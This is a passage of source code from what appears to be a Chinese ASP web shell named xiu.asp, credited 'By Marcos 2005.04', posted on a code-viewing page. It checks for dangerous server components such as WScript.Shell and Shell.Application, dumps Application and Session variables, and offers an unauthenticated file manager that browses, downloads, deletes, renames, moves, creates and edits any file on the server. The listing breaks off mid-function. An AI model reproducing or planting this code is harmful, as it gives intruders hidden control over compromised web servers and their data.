📄 xiu.asp
字号:
Sub ObjCheck()
Dim aryObj(19)
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next
strObj = Trim(getPost("TheObj"))
aryObj(0) = "MSWC.AdRotator|广告轮换组件"
aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
aryObj(2) = "MSWC.NextLink|内容链接库组件"
aryObj(3) = "MSWC.Tools|"
aryObj(4) = "MSWC.Status|"
aryObj(5) = "MSWC.Counters|计数器组件"
aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
aryObj(9) = "Scripting.FileSystemObject|FSO组件"
aryObj(10) = "Adodb.Stream|Stream 流组件"
aryObj(11) = "Shell.Application|"
aryObj(12) = "WScript.Shell|"
aryObj(13) = "Wscript.Network|"
aryObj(14) = "ADOX.Catalog|"
aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
aryObj(19) = strObj & "|您所要检测的组件"
echo "<br/>"
echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
echo "<label id=服务器组件信息 onclick=showSingleTable(this) style='font-family:webdings;cursor:hand;' title=单独显示此项>2</label>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td> 组件<font color=#666666>(描述)</font></td>"
echo "<td width=10% align=center>支持</td>"
echo "<td width=15% align=center>版本</td>"
echo "</tr>"
For Each x In aryObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√|"
x = x & objTmp.Version
Else
x = x & "|<font color=red>×</font>|"
End If
If Err Then Err.Clear
Set objTmp = Nothing
theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
echo "<tr>"
echo "<td> "&theObj(1)&"</td>"
echo "<td align=center>"&theObj(2)&"</td>"
echo "<td align=center>"&theObj(3)&"</td>"
echo "</tr>"
Next
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden name=PageName value=PageCheck>"
echo "<tr>"
echo "<td colspan=3> 其它组件检测:"
echo "<input name=TheObj type=text id=TheObj style='width:585px;' value="&strObj&">"
echo "<input type=submit name=Submit value= 提交 ></td>"
echo "</tr>"
echo "</form>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=3 class=td>By Marcos 2005.04 </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub GetAppOrSession(theAct)
Dim x, y
If isDebugMode = False Then On Error Resume Next
echo "<br/>"
echo "<table width=750 border=1 class=fixTable>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 察看"
echo "<label id=Application/Session 察看 onclick=showSingleTable(this) style='font-family:webdings;cursor:hand;' title=单独显示此项>2</label>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td width='20%'> 变量</td>"
echo "<td> 值</td>"
echo "</tr>"
If theAct = "app" Then
For Each x In Application.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
If IsArray(Application(x)) = True Then
For Each y In Application(x)
echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
Next
Else
echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
End If
echo "</span></td></tr>"
Next
End If
If theAct = "session" Then
For Each x In Session.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
echo "</span></td></tr>"
Next
End If
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.04 </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub PageFso()
ShowTitle("FSO文件浏览操作器")
Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
' AlertThenClose("文件修改成功!")
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select
If theAct <> "" Then thePath = GetPost("truePath")
FsoFileExplorer()
End Sub
Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPathB
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = fso.GetFolder(strPath)
parentFolderName = fso.GetParentFolderName(strPath)
echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr>"
echo "<td colspan=2> "
echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
echo " <input type=button value='提交' onclick=Command('submit');>"
echo " <input type=button value=上传 onclick=Command('upload')>"
echo "</td>"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr><td valign=top>"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden name=param>"
echo "<input type=hidden value=PageFso name=PageName>"
echo "<table width='99%' align=center>"
echo "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"
If parentFolderName <> "" Then
folderId = Replace(parentFolderName, "\", "\\")
echo " <a href=""javascript:changeThePath("" & folderId & "");"">↑回上级目录</a>"
End If
echo "</td><td align=center width=80>大小</td>"
echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"
For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
echo "<span class=fixSpan style='width:180;'>"
echo "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
echo "</td>"
echo "<td align=center>-</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
echo "<input type=button onclick=""Command("rename","" & objX.Name & "");"" value='Ren' title=重命名>"
echo "<input type=button value='SaveAs' title=另存为 onclick=""Command("saveas","" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
For Each objX In theFolder.Files
If InStr(objX.Path, rootPathB) > 0 Then
folderId = Replace(UrlEncode(Mid(objX.Path, Len(rootPathB) + 1)), "%2E", ".")
Else
folderId = "javascript:;"
End If
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
echo "<span class=fixSpan style='width:180;'>"
echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>"
echo "" & objX.Name & "</a>"
echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
extName = LCase(fso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',"" & objX.Name & "");"">"
End If
If extName = "mdb" Then
echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
End If
echo "<input type=button value='D' title=下载 onclick=""Command('download',"" & objX.Name & "")"">"
echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',"" & objX.Name & "")"">"
echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
echo "<tr class=td><td colspan=3></td>"
echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
echo "<input type=button value='Delete' onclick=Command('del')>"
echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
echo "</td></tr></table>"
echo "</td><td width='20%' valign=top align=center>"
echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
echo "</td></tr><tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.04 </td>"
echo "</tr>"
echo "</form>"
echo "</table>"
Set theFolder = Nothing
End Sub
Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = fso.FileExists(aryParam(0))
isFolder = fso.FolderExists(aryParam(0))
If isFile = False And isFolder = False Then
ShowErr("文件(夹)不存在或者不允许访问!")
End If
If isFile = False Then
Set objX = fso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = fso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing
ChkErr(Err)
End Sub
Sub DownTheFile()
Response.Clear
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
chkErr(Err)
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "Application/Octet-Stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
Sub DelOne()
Dim objX, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
If fso.FolderExists(strPath & objX) = True Then
Call fso.DeleteFolder(strPath & objX, True)
ChkErr(Err)
Else
If fso.FileExists(strPath & objX) = True Then
Call fso.DeleteFile(strPath & objX, True)
ChkErr(Err)
End If
End If
Next
End Sub
Sub MoveCopyOne()
Dim objX, strPath, strMoveTo, strCopyTo
If isDebugMode = False Then On Error Resume Next
strMoveTo = GetPost("MoveTo")
strCopyTo = GetPost("CopyTo")
strPath = GetPost("truePath") & "\"
If theAct = "move" Then
strMoveTo = strMoveTo & "\"
Else
strCopyTo = strCopyTo & "\"
End If
For Each objX In Request.Form("checkBox")
If theAct = "move" Then
If InStr(strMoveTo, strPath & objX) > 0 Then
ShowErr("目标文件夹不能在源文件夹内")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.MoveFile(strPath & objX, strMoveTo & objX)
Else
Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
End If
Else
If InStr(strCopyTo, strPath & objX) > 0 Then
ShowErr("目标文件夹不能在源文件夹内")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.CopyFile(strPath & objX, strCopyTo & objX)
Else
Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
End If
End If
ChkErr(Err)
Next
End Sub
Sub NewOne()
Dim objX, strPath, aryParam
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\" & aryParam(0)
If aryParam(1) = "file" Then
Call fso.CreateTextFile(strPath, False)
Else
fso.CreateFolder(strPath)
End If
End Sub
Sub ShowEdit()
Dim theFile, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
Set theFile = fso.OpenTextFile(strPath, 1, False)
ChkErr(Err)
echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
echo "<tr>"
echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead> </td>"
echo "</tr>"
echo "<form method=post action=" & url & ">"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden value=PageFso name=PageName>"
echo "<tr>"
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -